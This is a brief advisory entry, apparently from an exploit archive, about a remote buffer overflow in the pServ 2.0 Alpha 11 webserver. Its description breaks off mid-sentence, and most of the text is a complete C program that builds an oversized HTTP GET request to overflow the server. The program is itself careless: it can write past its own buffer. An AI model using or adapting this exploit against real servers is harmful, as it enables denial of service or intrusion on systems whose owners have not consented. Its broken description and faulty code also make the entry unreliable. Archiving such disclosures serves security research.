Remote Buffer Overflow in pServ 2.0 Alpha 11
CVE ID(s):
CVE-none
Notified: 2002-08-18
Description:
The aim of pServ (pico Server) is to create a portable, small webserver. Coded in portable C with Unix being the main reference platform, but porting is encouraged. Portability and small footprint should enable the use of pServ on a workstation as well as
Exploit:
#include <stdlib.h>
#include <stdio.h>
int
main (int argc, char *argv[])
{
int i;
char buffer[300];
bzero (buffer,300);
for (i = 0;i<= atoi(argv[1]);i++) buffer[i] = 'X';
for (i=0;i<=atoi(argv[2]);i++)
buffer[i+atoi(argv[1])] = 'A';
printf("GET /%s HTTP/1.0\r\n",buffer);
}
Notes:
102214